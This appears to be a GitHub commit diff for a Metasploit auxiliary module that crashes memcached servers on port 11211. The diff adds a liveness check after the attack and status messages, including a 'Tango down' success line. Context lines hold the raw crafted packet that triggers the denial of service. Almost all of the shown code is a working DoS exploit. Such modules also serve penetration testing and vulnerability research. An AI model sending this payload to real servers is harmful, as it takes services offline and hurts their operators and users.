File tree Expand file tree Collapse file tree 1 file changed +21
-3
lines changed
modules/auxiliary/dos/misc Expand file tree Collapse file tree 1 file changed +21
-3
lines changed Original file line number Diff line number Diff line change @@ -34,17 +34,35 @@ def initialize(info = {})
34
34
register_options ( [ Opt ::RPORT ( 11211 ) , ] , self . class )
35
35
end
36
36
37
+ def is_alive?
38
+ begin
39
+ connect
40
+ disconnect
41
+ rescue Rex ::ConnectionRefused
42
+ return false
43
+ end
44
+
45
+ return true
46
+ end
47
+
37
48
def run
38
49
connect
39
50
pkt = "\x80 \x12 \x00 \x01 \x08 \x00 \x00 \x00 \xff \xff \xff \xe8 \x00 \x00 \x00 \x00 "
40
51
pkt << "\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \xff \xff \xff \xff \x01 \x00 \x00 \x00 "
41
52
pkt << "\x00 \x00 \x00 \x00 \x00 \x00 0\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 "
42
53
pkt << "\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 "
43
54
44
- print_status ( "Sending dos packet..." )
45
-
55
+ print_status ( "#{ rhost } :#{ rport } - Sending dos packet..." )
46
56
sock . put ( pkt )
47
-
48
57
disconnect
58
+
59
+ print_status ( "#{ rhost } :#{ rport } - Checking host status..." )
60
+ select ( nil , nil , nil , 1 )
61
+
62
+ if is_alive?
63
+ print_error ( "#{ rhost } :#{ rport } - The DoS attempt did not work, host is still alive" )
64
+ else
65
+ print_good ( "#{ rhost } :#{ rport } - Tango down" ) # WWJS - What would th3j35t3r say?
66
+ end
49
67
end
50
68
end
You can’t perform that action at this time.
0 commit comments